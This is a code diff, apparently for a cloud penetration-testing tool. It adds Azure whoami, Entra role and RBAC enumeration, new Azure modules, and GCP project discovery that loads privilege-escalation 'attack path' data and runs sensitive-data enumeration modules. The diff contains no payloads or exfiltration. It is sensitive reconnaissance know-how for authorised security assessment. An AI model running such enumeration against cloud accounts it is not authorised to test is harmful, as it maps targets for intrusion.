rows = append(rows, []string{tenantID, subscriptionID, subscriptionName, principal.ID, principal.Name, principal.AssignmentType, roleName, ptr.ToString(assignment.Properties.Scope)})
}
return rows
}
func roleDefinitionNames(definitions []authorization.RoleDefinition) map[string]string {
names := make(map[string]string, len(definitions))
for _, definition := range definitions {
names[strings.ToLower(lastResourceIDSegment(ptr.ToString(definition.ID)))] = ptr.ToString(definition.RoleName)
}
return names
}
func lastResourceIDSegment(id string) string {
id = strings.TrimRight(id, "/")
if index := strings.LastIndex(id, "/"); index >= 0 {
return id[index+1:]
}
return id
}
func parseTokenClaims(token string) (tokenClaims, error) {
parts := strings.Split(token, ".")
if len(parts) != 3 {
return tokenClaims{}, fmt.Errorf("Microsoft Graph returned a malformed access token")
}
payload, err := base64.RawURLEncoding.DecodeString(parts[1])
if err != nil {
return tokenClaims{}, fmt.Errorf("decode Microsoft Graph access token claims: %w", err)
}
var claims tokenClaims
if err := json.Unmarshal(payload, &claims); err != nil {
return tokenClaims{}, fmt.Errorf("decode Microsoft Graph access token claims: %w", err)
}
if claims.ObjectID == "" {
return tokenClaims{}, fmt.Errorf("Microsoft Graph access token has no oid claim")
}
return claims, nil
}
func getEntraRolePage(ctx context.Context, accessToken, endpoint string) (entraRolePage, error) {
req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)
if err != nil {
return entraRolePage{}, fmt.Errorf("create Microsoft Graph request: %w", err)
}
req.Header.Set("Authorization", "Bearer "+accessToken)
req.Header.Set("Accept", "application/json")
req.Header.Set("ConsistencyLevel", "eventual")
req.Header.Set("User-Agent", globals.CLOUDFOX_USER_AGENT)
resp, err := graphHTTPClient.Do(req)
if err != nil {
return entraRolePage{}, fmt.Errorf("query Microsoft Graph: %w", err)
}
defer resp.Body.Close()
responseBody, err := io.ReadAll(resp.Body)
if err != nil {
return entraRolePage{}, fmt.Errorf("read Microsoft Graph response: %w", err)
}
if resp.StatusCode < http.StatusOK || resp.StatusCode >= http.StatusMultipleChoices {
var graphErr graphErrorResponse
if json.Unmarshal(responseBody, &graphErr) == nil && graphErr.Error.Message != "" {
return entraRolePage{}, fmt.Errorf("Microsoft Graph returned %s (%s): %s", resp.Status, graphErr.Error.Code, graphErr.Error.Message)
}
return entraRolePage{}, fmt.Errorf("Microsoft Graph returned %s", resp.Status)
}
var page entraRolePage
if err := json.Unmarshal(responseBody, &page); err != nil {
return entraRolePage{}, fmt.Errorf("decode Microsoft Graph response: %w", err)
}
return page, nil
}
var getTenants = getTenantsOriginal
@@ -115,7 +380,7 @@ func getTenantsOriginal() []subscriptions.TenantIDDescription {
var results []subscriptions.TenantIDDescription
for page, err := tenantsClient.List(context.TODO()); page.NotDone(); err = page.Next() {
if err != nil {
log.Fatal("could not get tenants for active session")
azureLogger.FatalM("Could not get tenants for active session", globals.AZ_WHOAMI_MODULE_NAME)
}
results = append(results, page.Values()...)
}
@@ -141,7 +406,7 @@ func getSubscriptionsOriginal() []subscriptions.Subscription {
subsClient := internal.GetSubscriptionsClient()
for page, err := subsClient.List(context.TODO()); page.NotDone(); err = page.Next() {
if err != nil {
log.Fatal("could not get subscriptions for active session")
azureLogger.FatalM("Could not get subscriptions for active session", globals.AZ_WHOAMI_MODULE_NAME)
}
results = append(results, page.Values()...)
}
@@ -171,7 +436,7 @@ func getResourceGroupsOriginal(subscriptionID string) []resources.Group {
for page, err := rgClient.List(context.TODO(), "", nil); page.NotDone(); err = page.Next() {
if err != nil {
log.Fatalf("error reading resource groups for subscription %s", subscriptionID)
azureLogger.FatalM(fmt.Sprintf("Error reading resource groups for subscription %s", subscriptionID), globals.AZ_WHOAMI_MODULE_NAME)
}
results = append(results, page.Values()...)
}
@@ -199,12 +464,12 @@ func mockedGetResourceGroups(subscriptionID string) []resources.Group {
func loadTestFile(fileName string) ResourcesTestFile {
file, err := os.ReadFile(fileName)
if err != nil {
log.Fatalf("could not read file %s", globals.RESOURCES_TEST_FILE)
azureLogger.FatalM(fmt.Sprintf("Could not read file %s", globals.RESOURCES_TEST_FILE), globals.AZ_WHOAMI_MODULE_NAME)
}
var testFile ResourcesTestFile
err = json.Unmarshal(file, &testFile)
if err != nil {
log.Fatalf("could not unmarshall file %s", globals.RESOURCES_TEST_FILE)
azureLogger.FatalM(fmt.Sprintf("Could not unmarshal file %s", globals.RESOURCES_TEST_FILE), globals.AZ_WHOAMI_MODULE_NAME)
}
return testFile
}
+131
View File
@@ -0,0 +1,131 @@
package azure
import (
"context"
"encoding/base64"
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"github.com/Azure/azure-sdk-for-go/profiles/latest/authorization/mgmt/authorization"
"github.com/Azure/azure-sdk-for-go/sdk/azcore"
"github.com/Azure/azure-sdk-for-go/sdk/azcore/policy"
)
type staticTokenCredential struct {
token string
err error
scope string
}
func TestAzureRBACRowsIncludeDirectAndGroupAssignments(t *testing.T) {
var assignments []authorization.RoleAssignment
err := json.Unmarshal([]byte(`[
{"properties":{"principalId":"caller-id","roleDefinitionId":"/providers/Microsoft.Authorization/roleDefinitions/reader-id","scope":"/subscriptions/sub-id"}},
{"properties":{"principalId":"group-id","roleDefinitionId":"/providers/Microsoft.Authorization/roleDefinitions/owner-id","scope":"/subscriptions/sub-id/resourceGroups/example"}},
{"properties":{"principalId":"other-id","roleDefinitionId":"/providers/Microsoft.Authorization/roleDefinitions/ignored-id","scope":"/subscriptions/sub-id"}}
]`), &assignments)
if err != nil {
t.Fatalf("unmarshal role assignments: %v", err)
}
principals := map[string]rbacPrincipal{
"caller-id": {ID: "caller-id", Name: "[email protected]", AssignmentType: "Direct"},
"group-id": {ID: "group-id", Name: "Cloud Operators", AssignmentType: "Group"},
}
roleNames := map[string]string{"reader-id": "Reader", "owner-id": "Owner"}
rows := azureRBACRowsForSubscription("tenant-id", "sub-id", "Production", principals, roleNames, assignments)
if len(rows) != 2 {
t.Fatalf("got %d relevant role assignments, want 2: %+v", len(rows), rows)
}
if rows[0][5] != "Direct" || rows[0][6] != "Reader" {
t.Fatalf("unexpected direct assignment row: %+v", rows[0])
}
if rows[1][4] != "Cloud Operators" || rows[1][5] != "Group" || rows[1][6] != "Owner" {
t.Fatalf("unexpected group assignment row: %+v", rows[1])
}
}
func (c *staticTokenCredential) GetToken(_ context.Context, options policy.TokenRequestOptions) (azcore.AccessToken, error) {
if len(options.Scopes) > 0 {
c.scope = options.Scopes[0]
}
return azcore.AccessToken{Token: c.token, ExpiresOn: time.Now().Add(time.Hour)}, c.err
}
func unsignedTestToken(payload string) string {
return "header." + base64.RawURLEncoding.EncodeToString([]byte(payload)) + ".signature"
}
func TestGetCallerEntraRoles(t *testing.T) {
var authorization string
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
authorization = r.Header.Get("Authorization")
if r.URL.Path != "/directoryObjects/caller-object-id/transitiveMemberOf" {
t.Fatalf("unexpected Graph path: %s", r.URL.Path)
}
w.Header().Set("Content-Type", "application/json")
_, _ = w.Write([]byte(`{"value":[{"@odata.type":"#Microsoft.DirectoryServices.Group","id":"group-id","displayName":"Readers"},{"@odata.type":"#Microsoft.DirectoryServices.DirectoryRole","id":"role-id","displayName":"Global Reader","description":"Read everything"}]}`))
}))
defer server.Close()
originalBaseURL, originalHTTPClient := graphBaseURL, graphHTTPClient
graphBaseURL, graphHTTPClient = server.URL, server.Client()
t.Cleanup(func() {
graphBaseURL, graphHTTPClient = originalBaseURL, originalHTTPClient
})
cred := &staticTokenCredential{token: unsignedTestToken(`{"oid":"caller-object-id","preferred_username":"[email protected]"}`)}
claims, roles, err := getCallerEntraRoles(context.Background(), cred)
if err != nil {
t.Fatalf("getCallerEntraRoles returned an error: %v", err)
}
if cred.scope != microsoftGraphScope {
t.Fatalf("requested scope %q, want %q", cred.scope, microsoftGraphScope)
}
if authorization != "Bearer "+cred.token {
t.Fatalf("authorization header %q does not contain the Graph token", authorization)
}
if claims.ObjectID != "caller-object-id" || len(roles) != 1 || roles[0].DisplayName != "Global Reader" {
t.Fatalf("unexpected claims or roles: claims=%+v roles=%+v", claims, roles)
}
}
func TestDirectoryMembershipTypeSupportsGraphAndLegacyNames(t *testing.T) {
tests := map[string]string{
"#microsoft.graph.directoryRole": "Directory Role",
"#Microsoft.DirectoryServices.DirectoryRole": "Directory Role",
"#microsoft.graph.group": "Group",
"#Microsoft.DirectoryServices.Group": "Group",
"#Microsoft.DirectoryServices.AdministrativeUnit": "",
}
for odataType, want := range tests {
if got := directoryMembershipType(odataType); got != want {
t.Errorf("directoryMembershipType(%q) = %q, want %q", odataType, got, want)
}
}
}
func TestGetCallerEntraRolesGraphError(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusForbidden)
_, _ = w.Write([]byte(`{"error":{"code":"Authorization_RequestDenied","message":"Insufficient privileges"}}`))
}))
defer server.Close()
originalBaseURL, originalHTTPClient := graphBaseURL, graphHTTPClient
graphBaseURL, graphHTTPClient = server.URL, server.Client()
t.Cleanup(func() {
graphBaseURL, graphHTTPClient = originalBaseURL, originalHTTPClient
})
cred := &staticTokenCredential{token: unsignedTestToken(`{"oid":"caller-object-id"}`)}
_, _, err := getCallerEntraRoles(context.Background(), cred)
if err == nil || !strings.Contains(err.Error(), "Insufficient privileges") {
t.Fatalf("expected a descriptive Graph permission error, got %v", err)
}
}
+29 -5
View File
@@ -9,14 +9,19 @@ import (
"github.com/aws/smithy-go/ptr"
)
func TestAzWhoamiCommand(t *testing.T) {
func TestAzTokenCacheCommand(t *testing.T) {
fmt.Println()
fmt.Println("[test case] Azure Whoami Command")
fmt.Println("[test case] Azure Token Cache Command")
// Mocked functions to simulate Azure calls and responses
getTenants = mockedGetTenants
GetSubscriptions = mockedGetSubscriptions
getResourceGroups = mockedGetResourceGroups
t.Cleanup(func() {
getTenants = getTenantsOriginal
GetSubscriptions = getSubscriptionsOriginal
getResourceGroups = getResourceGroupsOriginal
})
// Test case parameters
internal.MockFileSystem(true)
@@ -29,7 +34,7 @@ func TestAzWhoamiCommand(t *testing.T) {
azOutputDirectory string
}{
{
name: "./cloudfox azure whoami",
name: "./cloudfox azure tokencache",
resourcesTestFile: "./test-data/resources.json",
azExtendedFilter: false,
version: "DEV",
@@ -37,7 +42,7 @@ func TestAzWhoamiCommand(t *testing.T) {
azOutputDirectory: "~/.cloudfox",
},
{
name: "./cloudfox azure whoami --extended",
name: "./cloudfox azure tokencache --list-rgs",
resourcesTestFile: "./test-data/resources.json",
azExtendedFilter: true,
version: "DEV",
@@ -49,7 +54,26 @@ func TestAzWhoamiCommand(t *testing.T) {
globals.RESOURCES_TEST_FILE = s.resourcesTestFile
fmt.Println()
fmt.Printf("[subtest] %s\n", s.name)
AzWhoamiCommand(s.azOutputDirectory, s.version, s.wrapTableOutput, 1, false)
if err := AzTokenCacheCommand(s.azOutputDirectory, s.version, s.wrapTableOutput, 1, s.azExtendedFilter); err != nil {
t.Fatal(err)
}
}
}
func TestAzWhoamiCommand(t *testing.T) {
originalEntra, originalRBAC := getWhoamiEntraRoles, getWhoamiAzureRBAC
getWhoamiEntraRoles = func() ([]string, [][]string, []error) {
return []string{"Tenant ID", "Membership"}, [][]string{{"tenant", "Global Reader"}}, nil
}
getWhoamiAzureRBAC = func() ([]string, [][]string, []error) {
return []string{"Tenant ID", "Azure RBAC Role"}, [][]string{{"tenant", "Reader"}}, nil
}
t.Cleanup(func() {
getWhoamiEntraRoles = originalEntra
getWhoamiAzureRBAC = originalRBAC
})
if err := AzWhoamiCommand("~/.cloudfox", "DEV", false, 1); err != nil {
t.Fatal(err)
}
}
+15 -8
View File
@@ -92,8 +92,9 @@ var (
AWSUseCache bool
AWSMFAToken string
Goroutines int
Verbosity int
Goroutines int
Verbosity int
AWSMaxRetries int
AWSCommands = &cobra.Command{
Use: "aws",
@@ -546,6 +547,9 @@ type OrgAccounts struct {
func awsPreRun(cmd *cobra.Command, args []string) {
gob.Register(&types.Organization{})
// Set the max retries before any AWS config loading happens
internal.MaxRetries = AWSMaxRetries
// if multiple profiles were used, ensure the management account is first
// if AWSProfilesList != "" || AWSAllProfiles {
// AWSProfiles = FindOrgMgmtAccountAndReorderAccounts(AWSProfiles, cmd.Root().Version, AWSMFAToken)
@@ -2252,6 +2256,7 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
PmapperDataBasePath: PmapperDataBasePath,
}
ec2UserData.Instances(InstancesFilter, AWSOutputDirectory, Verbosity)
envsMod := aws.EnvsModule{
@@ -2434,12 +2439,13 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
roleTrusts.PrintRoleTrusts(AWSOutputDirectory, Verbosity)
pmapperCommand := aws.PmapperModule{
Caller: *caller,
AWSProfile: profile,
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
Caller: *caller,
AWSProfile: profile,
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
PmapperDataBasePath: PmapperDataBasePath,
}
pmapperCommand.PrintPmapperData(AWSOutputDirectory, Verbosity)
@@ -2551,6 +2557,7 @@ func init() {
AWSCommands.PersistentFlags().BoolVarP(&AWSUseCache, "cached", "c", false, "Load cached data from disk. Faster, but if changes have been recently made you'll miss them")
AWSCommands.PersistentFlags().StringVarP(&AWSTableCols, "cols", "t", "", "Comma separated list of columns to display in table output")
AWSCommands.PersistentFlags().StringVar(&AWSMFAToken, "mfa-token", "", "MFA Token")
AWSCommands.PersistentFlags().IntVar(&AWSMaxRetries, "max-retries", 3, "Maximum number of AWS API retry attempts. Set to 0 for no retries (faster for black-box/limited-permission enumeration)")
AWSCommands.PersistentFlags().StringVar(&PmapperDataBasePath, "pmapper-data-basepath", "", "Supply the base path for the pmapper data files (useful if you have copied them from another machine)\nPoint to the parent directory that contains all of the pmapper data by account numbers. \n\tExample: /path/to/com.nccgroup.principalmapper/\n\tExample: ./pmapperdata/")
AWSCommands.AddCommand(
+71 -12
View File
@@ -1,12 +1,13 @@
package cli
import (
"log"
"github.com/BishopFox/cloudfox/azure"
"github.com/BishopFox/cloudfox/internal"
"github.com/spf13/cobra"
)
var azureLogger = internal.NewLogger()
var (
AzTenantID string
AzSubscription string
@@ -26,18 +27,34 @@ var (
cmd.Help()
},
}
AzWhoamiListRGsAlso bool
AzTokenCacheListRGs bool
AzWhoamiCommand = &cobra.Command{
Use: "whoami",
Aliases: []string{},
Short: "Display available Azure CLI sessions",
Short: "Display the caller's Entra ID memberships and Azure RBAC assignments",
Long: `
Display Available Azure CLI Sessions:
Display the caller's Entra ID memberships and Azure RBAC assignments:
./cloudfox az whoami`,
Run: func(cmd *cobra.Command, args []string) {
err := azure.AzWhoamiCommand(AzOutputDirectory, cmd.Root().Version, AzWrapTable, AzVerbosity, AzWhoamiListRGsAlso)
err := azure.AzWhoamiCommand(AzOutputDirectory, cmd.Root().Version, AzWrapTable, AzVerbosity)
if err != nil {
log.Fatal(err)
azureLogger.FatalM(err.Error(), "whoami")
}
},
}
AzTokenCacheCommand = &cobra.Command{
Use: "tokencache",
Aliases: []string{"token-cache"},
Short: "Display available Azure CLI sessions",
Long: `
Display available Azure CLI tenants and subscriptions:
./cloudfox az tokencache
Include resource groups:
./cloudfox az tokencache --list-rgs`,
Run: func(cmd *cobra.Command, args []string) {
if err := azure.AzTokenCacheCommand(AzOutputDirectory, cmd.Root().Version, AzWrapTable, AzVerbosity, AzTokenCacheListRGs); err != nil {
azureLogger.FatalM(err.Error(), "tokencache")
}
},
}
@@ -55,7 +72,7 @@ Enumerate inventory for a specific subscription:
Run: func(cmd *cobra.Command, args []string) {
err := azure.AzInventoryCommand(AzTenantID, AzSubscription, AzOutputDirectory, cmd.Root().Version, AzVerbosity, AzWrapTable, AzMergedTable)
if err != nil {
log.Fatal(err)
azureLogger.FatalM(err.Error(), "inventory")
}
},
}
@@ -74,7 +91,7 @@ Enumerate role assignments for a specific subscription:
err := azure.AzRBACCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory, cmd.Root().Version, AzVerbosity, AzWrapTable, AzMergedTable)
if err != nil {
log.Fatal(err)
azureLogger.FatalM(err.Error(), "rbac")
}
},
}
@@ -91,7 +108,7 @@ Enumerate VMs for a specific subscription:
Run: func(cmd *cobra.Command, args []string) {
err := azure.AzVMsCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory, cmd.Root().Version, AzVerbosity, AzWrapTable, AzMergedTable)
if err != nil {
log.Fatal(err)
azureLogger.FatalM(err.Error(), "vms")
}
},
}
@@ -109,7 +126,45 @@ Enumerate storage accounts for a specific subscription:
Run: func(cmd *cobra.Command, args []string) {
err := azure.AzStorageCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory, cmd.Root().Version, AzVerbosity, AzWrapTable, AzMergedTable)
if err != nil {
log.Fatal(err)
azureLogger.FatalM(err.Error(), "storage")
}
},
}
AzACRCommand = &cobra.Command{
Use: "acr",
Aliases: []string{"container-registries"},
Short: "Enumerates Azure Container Registries",
Long: `
Enumerate container registries for a specific tenant:
./cloudfox az acr --tenant TENANT_ID
Enumerate container registries for a specific subscription:
./cloudfox az acr --subscription SUBSCRIPTION_ID
`,
Run: func(cmd *cobra.Command, args []string) {
err := azure.AzACRCommand(AzTenantID, AzSubscription, AzOutputDirectory, cmd.Root().Version, AzVerbosity, AzWrapTable, AzMergedTable)
if err != nil {
azureLogger.FatalM(err.Error(), "acr")
}
},
}
AzFuncCommand = &cobra.Command{
Use: "func",
Aliases: []string{"functions"},
Short: "Enumerates Azure Function Apps and their configuration",
Run: func(cmd *cobra.Command, args []string) {
if err := azure.AzFuncCommand(AzTenantID, AzSubscription, AzOutputDirectory, cmd.Root().Version, AzVerbosity, AzWrapTable, AzMergedTable); err != nil {
azureLogger.FatalM(err.Error(), "func")
}
},
}
AzAutomationCommand = &cobra.Command{
Use: "automation",
Aliases: []string{"automations"},
Short: "Enumerates Azure Automation Accounts and their assets",
Run: func(cmd *cobra.Command, args []string) {
if err := azure.AzAutomationCommand(AzTenantID, AzSubscription, AzOutputDirectory, cmd.Root().Version, AzVerbosity, AzWrapTable, AzMergedTable); err != nil {
azureLogger.FatalM(err.Error(), "automation")
}
},
}
@@ -117,7 +172,7 @@ Enumerate storage accounts for a specific subscription:
func init() {
AzWhoamiCommand.Flags().BoolVarP(&AzWhoamiListRGsAlso, "list-rgs", "l", false, "Drill down to the resource group level")
AzTokenCacheCommand.Flags().BoolVarP(&AzTokenCacheListRGs, "list-rgs", "l", false, "Drill down to the resource group level")
// Global flags
AzCommands.PersistentFlags().StringVarP(&AzOutputFormat, "output", "o", "all", "[\"table\" | \"csv\" | \"all\" ]")
@@ -131,9 +186,13 @@ func init() {
AzCommands.AddCommand(
AzWhoamiCommand,
AzTokenCacheCommand,
AzRBACCommand,
AzVMsCommand,
AzStorageCommand,
AzACRCommand,
AzFuncCommand,
AzAutomationCommand,
AzInventoryCommand)
}
Regular → Executable
+512 -18
View File
@@ -3,10 +3,14 @@ package cli
import (
"context"
"fmt"
"strings"
"time"
"github.com/BishopFox/cloudfox/gcp/commands"
oauthservice "github.com/BishopFox/cloudfox/gcp/services/oauthService"
orgsservice "github.com/BishopFox/cloudfox/gcp/services/organizationsService"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
@@ -16,12 +20,20 @@ var (
GCPProjectID string
GCPProjectIDsFilePath string
GCPProjectIDs []string
GCPAllProjects bool
// Project name mapping (ProjectID -> DisplayName)
GCPProjectNames map[string]string
// Output formatting options
GCPOutputFormat string
GCPOutputDirectory string
GCPVerbosity int
GCPWrapTable bool
GCPFlatOutput bool
// Refresh cache flag - force re-enumeration even if cache exists
GCPRefreshCache bool
// misc options
// GCPIgnoreCache bool
@@ -36,46 +48,442 @@ var (
Long: `See "Available Commands" for GCP Modules below`,
Short: "See \"Available Commands\" for GCP Modules below",
PersistentPreRun: func(cmd *cobra.Command, args []string) {
if GCPProjectID != "" {
GCPProjectIDs = append(GCPProjectIDs, GCPProjectID)
} else if GCPProjectIDsFilePath != "" {
GCPProjectIDs = internal.LoadFileLinesIntoArray(GCPProjectIDsFilePath)
} else {
GCPLogger.InfoM("project or project-list flags not given, commands requiring a project ID will fail", "gcp")
}
// Create a context with this value to share it with subcommands at runtime
ctx := context.WithValue(context.Background(), "projectIDs", GCPProjectIDs)
// Reset project IDs and names to avoid accumulation across commands
GCPProjectIDs = nil
GCPProjectNames = make(map[string]string)
// Set the context for this command which all subcommands can access via [SUBCMD].Parent().Context()
// cmd.SetContext(ctx)
// Handle project discovery based on flags
// Priority: -p (single project) > -l (project list) > -A (all projects)
if GCPProjectID != "" {
// Single project specified with -p/--project
GCPProjectIDs = append(GCPProjectIDs, GCPProjectID)
resolveProjectNames(GCPProjectIDs)
} else if GCPProjectIDsFilePath != "" {
// Project list specified with -l/--project-list
rawProjectIDs := internal.LoadFileLinesIntoArray(GCPProjectIDsFilePath)
GCPProjectIDs = deduplicateProjectIDs(rawProjectIDs)
resolveProjectNames(GCPProjectIDs)
} else if GCPAllProjects {
// Discover all accessible projects with -A/--all-projects
GCPLogger.InfoM("Discovering all accessible projects...", "gcp")
orgsSvc := orgsservice.New()
projects, err := orgsSvc.SearchProjects("")
if err != nil {
GCPLogger.FatalM(fmt.Sprintf("Failed to discover projects: %v. Try using -p or -l flags instead.", err), "gcp")
}
for _, proj := range projects {
if proj.State == "ACTIVE" {
GCPProjectIDs = append(GCPProjectIDs, proj.ProjectID)
GCPProjectNames[proj.ProjectID] = proj.DisplayName
}
}
if len(GCPProjectIDs) == 0 {
GCPLogger.FatalM("No accessible projects found. Check your permissions.", "gcp")
}
GCPLogger.InfoM(fmt.Sprintf("Discovered %d project(s)", len(GCPProjectIDs)), "gcp")
} else {
GCPLogger.InfoM("No project scope specified. Use -p, -l, or -A flag.", "gcp")
}
// Create a context with project IDs and names
ctx := context.WithValue(context.Background(), "projectIDs", GCPProjectIDs)
ctx = context.WithValue(ctx, "projectNames", GCPProjectNames)
// Authenticate and get account info
os := oauthservice.NewOAuthService()
principal, err := os.WhoAmI()
if err != nil {
GCPLogger.FatalM(fmt.Sprintf("could not determine default user credential with error %s. \n\nPlease use default application default credentials: https://cloud.google.com/docs/authentication/application-default-credentials", err.Error()), "gcp")
GCPLogger.FatalM(fmt.Sprintf("could not determine default user credential with error %s.\n\nPlease use default application default credentials: https://cloud.google.com/docs/authentication/application-default-credentials\n\nTry: gcloud auth application-default login", err.Error()), "gcp")
}
ctx = context.WithValue(ctx, "account", principal.Email)
// Build scope hierarchy for hierarchical output (unless --flat-output is set)
if !GCPFlatOutput && len(GCPProjectIDs) > 0 {
GCPLogger.InfoM("Building scope hierarchy for hierarchical output...", "gcp")
orgsSvc := orgsservice.New()
provider := orgsservice.NewHierarchyProvider(orgsSvc)
hierarchy, err := gcpinternal.BuildScopeHierarchy(GCPProjectIDs, provider)
if err != nil {
GCPLogger.InfoM(fmt.Sprintf("Could not build hierarchy, using flat output: %v", err), "gcp")
} else {
ctx = context.WithValue(ctx, "hierarchy", hierarchy)
// Log hierarchy summary
if len(hierarchy.Organizations) > 0 {
GCPLogger.InfoM(fmt.Sprintf("Detected %d organization(s), %d project(s)", len(hierarchy.Organizations), len(hierarchy.Projects)), "gcp")
} else {
GCPLogger.InfoM(fmt.Sprintf("Detected %d standalone project(s)", len(hierarchy.StandaloneProjs)), "gcp")
}
}
}
// Get account for cache operations
account, _ := ctx.Value("account").(string)
// Always try to load FoxMapper data for attack path analysis
// This allows individual modules to show the Attack Paths column
if len(GCPProjectIDs) > 0 {
// Get org ID from hierarchy if available (GCPOrganization flag may be empty)
orgID := GCPOrganization
if orgID == "" {
if hierarchy, ok := ctx.Value("hierarchy").(*gcpinternal.ScopeHierarchy); ok && hierarchy != nil {
if len(hierarchy.Organizations) > 0 {
orgID = hierarchy.Organizations[0].ID
}
}
}
foxMapperCache := gcpinternal.TryLoadFoxMapper(orgID, GCPProjectIDs)
if foxMapperCache != nil && foxMapperCache.IsPopulated() {
ctx = gcpinternal.SetFoxMapperCacheInContext(ctx, foxMapperCache)
totalNodes, adminNodes, nodesWithPrivesc := foxMapperCache.GetStats()
ageDays := foxMapperCache.GetDataAgeDays()
if ageDays >= 30 {
GCPLogger.WarnM(fmt.Sprintf("FoxMapper data is %d days old - consider running 'foxmapper gcp graph create' to refresh",
ageDays), "gcp")
} else {
GCPLogger.InfoM(fmt.Sprintf("FoxMapper data is %d days old", ageDays), "gcp")
}
GCPLogger.SuccessM(fmt.Sprintf("FoxMapper data loaded: %d principals, %d admins, %d with privesc",
totalNodes, adminNodes, nodesWithPrivesc), "gcp")
}
}
// Always try to load org cache for cross-project analysis
// Cache auto-refreshes after 24 hours
// Force refresh when running the organizations command to ensure fresh data
refreshCache := GCPRefreshCache || cmd.Name() == "organizations"
orgCache := loadOrPopulateOrgCache(account, refreshCache)
if orgCache != nil && orgCache.IsPopulated() {
ctx = gcpinternal.SetOrgCacheInContext(ctx, orgCache)
}
cmd.SetContext(ctx)
},
}
)
// deduplicateProjectIDs removes duplicates, trims whitespace, and filters empty entries
func deduplicateProjectIDs(projectIDs []string) []string {
seen := make(map[string]bool)
var result []string
duplicateCount := 0
for _, id := range projectIDs {
// Trim whitespace
id = strings.TrimSpace(id)
// Skip empty lines
if id == "" {
continue
}
// Skip duplicates
if seen[id] {
duplicateCount++
continue
}
seen[id] = true
result = append(result, id)
}
if duplicateCount > 0 {
GCPLogger.InfoM(fmt.Sprintf("Removed %d duplicate project ID(s) from list", duplicateCount), "gcp")
}
return result
}
// resolveProjectNames fetches display names for given project IDs
func resolveProjectNames(projectIDs []string) {
if len(projectIDs) == 0 {
return
}
orgsSvc := orgsservice.New()
// Fetch all accessible projects and build lookup map
projects, err := orgsSvc.SearchProjects("")
if err != nil {
// Non-fatal: we can continue without display names
GCPLogger.InfoM("Could not resolve project names, using project IDs only", "gcp")
for _, id := range projectIDs {
GCPProjectNames[id] = id // fallback to using ID as name
}
return
}
// Build lookup from fetched projects
projectLookup := make(map[string]string)
for _, proj := range projects {
projectLookup[proj.ProjectID] = proj.DisplayName
}
// Map our project IDs to names
for _, id := range projectIDs {
if name, ok := projectLookup[id]; ok {
GCPProjectNames[id] = name
} else {
GCPProjectNames[id] = id // fallback to using ID as name
}
}
}
// New RunAllGCPCommands function to execute all child commands
var GCPAllChecksCommand = &cobra.Command{
Use: "all-checks",
Short: "Runs all available GCP commands",
Long: `Executes all available GCP commands to collect and display information from all supported GCP services.`,
Run: func(cmd *cobra.Command, args []string) {
var executedModules []string
startTime := time.Now()
ctx := cmd.Context()
account, _ := ctx.Value("account").(string)
// Set all-checks mode - individual modules will skip saving cache
// (we'll save consolidated cache at the end)
ctx = gcpinternal.SetAllChecksMode(ctx, true)
cmd.SetContext(ctx)
// Load or populate org cache for cross-project modules
existingOrgCache := gcpinternal.GetOrgCacheFromContext(ctx)
if existingOrgCache == nil || !existingOrgCache.IsPopulated() {
GCPLogger.InfoM("Loading/enumerating organization data for cross-project analysis...", "all-checks")
orgCache := loadOrPopulateOrgCache(account, GCPRefreshCache)
if orgCache != nil && orgCache.IsPopulated() {
ctx = gcpinternal.SetOrgCacheInContext(ctx, orgCache)
cmd.SetContext(ctx)
}
} else {
orgs, folders, projects := existingOrgCache.GetStats()
GCPLogger.InfoM(fmt.Sprintf("Using existing org cache: %d org(s), %d folder(s), %d project(s)", orgs, folders, projects), "all-checks")
}
// Find the privesc command to run first
var privescCmd *cobra.Command
for _, childCmd := range GCPCommands.Commands() {
if childCmd == cmd { // Skip the run-all command itself to avoid infinite recursion
if childCmd.Use == "privesc" {
privescCmd = childCmd
break
}
}
// Run privesc command first (produces output) and load FoxMapper data for other modules
if privescCmd != nil {
GCPLogger.InfoM("Running privilege escalation analysis first...", "all-checks")
privescCmd.Run(cmd, args)
executedModules = append(executedModules, "privesc")
// After running privesc, try to load FoxMapper data for other modules
existingFoxMapper := gcpinternal.GetFoxMapperCacheFromContext(ctx)
if existingFoxMapper != nil && existingFoxMapper.IsPopulated() {
totalNodes, adminNodes, nodesWithPrivesc := existingFoxMapper.GetStats()
GCPLogger.InfoM(fmt.Sprintf("Using existing FoxMapper cache: %d principals, %d admins, %d with privesc", totalNodes, adminNodes, nodesWithPrivesc), "all-checks")
} else {
// Get org ID from org cache if available (GCPOrganization flag may be empty)
orgID := GCPOrganization
if orgID == "" {
if orgCache := gcpinternal.GetOrgCacheFromContext(ctx); orgCache != nil && len(orgCache.Organizations) > 0 {
orgID = orgCache.Organizations[0].ID
}
}
// Try to load FoxMapper data
foxMapperCache := gcpinternal.TryLoadFoxMapper(orgID, GCPProjectIDs)
if foxMapperCache != nil && foxMapperCache.IsPopulated() {
ctx = gcpinternal.SetFoxMapperCacheInContext(ctx, foxMapperCache)
cmd.SetContext(ctx)
totalNodes, adminNodes, nodesWithPrivesc := foxMapperCache.GetStats()
GCPLogger.SuccessM(fmt.Sprintf("FoxMapper data loaded: %d principals, %d admins, %d with privesc", totalNodes, adminNodes, nodesWithPrivesc), "all-checks")
} else {
GCPLogger.InfoM("No FoxMapper data found. Run 'foxmapper gcp graph create' for attack path analysis.", "all-checks")
}
}
GCPLogger.InfoM("", "all-checks")
}
// Modules excluded from all-checks (run separately, not part of standard enumeration)
excludeFromAllChecks := map[string]bool{
"privesc": true, // Already ran above
"storage-enum": true, // Sensitive data enum modules (run separately)
"logging-enum": true,
"bigquery-enum": true,
